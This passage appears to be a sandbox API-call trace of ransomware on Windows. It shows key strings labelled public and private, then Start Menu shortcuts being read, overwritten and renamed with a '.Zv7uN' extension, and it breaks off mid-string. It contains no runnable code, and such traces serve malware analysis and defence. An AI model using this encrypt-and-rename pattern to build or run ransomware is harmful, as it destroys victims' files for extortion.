lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.827] GetCurrentThreadId () returned 0xa30 [0131.827] GetCurrentThreadId () returned 0xa30 [0131.827] GetCurrentThreadId () returned 0xa30 [0131.827] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0131.827] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0131.827] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0131.828] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x56c [0131.828] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0131.828] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x56c, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x56c, lpOverlapped=0x0) returned 1 [0131.832] CloseHandle (hObject=0x1dc) returned 1 [0131.832] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0131.834] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x56c, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x56c, lpOverlapped=0x0) returned 1 [0131.836] CloseHandle (hObject=0x1dc) returned 1 [0131.836] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Speech Recognition.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\speech recognition.lnk.zv7un")) returned 1 [0131.838] GetCurrentThreadId () returned 0xa30 [0131.838] GetCurrentThreadId () returned 0xa30 [0131.838] GetCurrentThreadId () returned 0xa30 [0131.838] GetCurrentThreadId () returned 0xa30 [0131.838] GetCurrentThreadId () returned 0xa30 [0131.838] GetCurrentThreadId () returned 0xa30 [0131.838] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Speech Recognition.lnk", cAlternateFileName="SPEECH~1.LNK")) returned 0 [0131.838] GetLastError () returned 0x12 [0131.838] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0131.838] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cbce40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x62cbce40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0131.838] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0131.838] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0131.839] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cbce40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x62cbce40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0131.839] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0131.839] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0131.839] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0a7698, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0a7698, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0131.839] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62cbce40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Speech Recognition.lnk.Zv7uN", cAlternateFileName="SPEECH~1.ZV7")) returned 1 [0131.839] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0131.839] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0131.839] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62cbce40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Speech Recognition.lnk.Zv7uN", cAlternateFileName="SPEECH~1.ZV7")) returned 0 [0131.839] GetLastError () returned 0x12 [0131.839] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0131.839] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x629c32c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Calculator.lnk.Zv7uN", cAlternateFileName="CALCUL~1.ZV7")) returned 1 [0131.839] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.839] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.839] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec08153b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0131.839] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x629e9420, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="displayswitch.lnk.Zv7uN", cAlternateFileName="DISPLA~1.ZV7")) returned 1 [0131.840] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.840] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.840] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x62a0f580, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Math Input Panel.lnk.Zv7uN", cAlternateFileName="MATHIN~1.ZV7")) returned 1 [0131.840] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.840] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.840] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x62acdc60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Mobility Center.lnk.Zv7uN", cAlternateFileName="MOBILI~1.ZV7")) returned 1 [0131.840] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.840] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.840] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x62af3dc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="NetworkProjection.lnk.Zv7uN", cAlternateFileName="NETWOR~1.ZV7")) returned 1 [0131.840] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.840] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.840] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62b19f20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Paint.lnk.Zv7uN", cAlternateFileName="")) returned 1 [0131.840] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.840] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.840] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62b40080, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Remote Desktop Connection.lnk.Zv7uN", cAlternateFileName="REMOTE~1.ZV7")) returned 1 [0131.840] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.840] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.841] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x62b661e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Snipping Tool.lnk.Zv7uN", cAlternateFileName="SNIPPI~1.ZV7")) returned 1 [0131.841] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.841] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.841] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62b8c340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Sound Recorder.lnk.Zv7uN", cAlternateFileName="SOUNDR~1.ZV7")) returned 1 [0131.841] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.841] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.841] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x62c248c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Sticky Notes.lnk.Zv7uN", cAlternateFileName="STICKY~1.ZV7")) returned 1 [0131.841] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.841] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.842] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62c4aa20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Sync Center.lnk.Zv7uN", cAlternateFileName="SYNCCE~1.ZV7")) returned 1 [0131.842] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.842] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.842] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0131.842] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.842] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.842] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0131.842] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0131.842] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4ce49a, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e4ce49a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e51a75b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Character Map.lnk", cAlternateFileName="CHARAC~1.LNK")) returned 1 [0131.842] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0131.842] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0131.842] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4ce49a, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e4ce49a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e51a75b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0131.843] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk")) returned 0x20 [0131.843] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk", dwFileAttributes=0x80) returned 1 [0131.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzD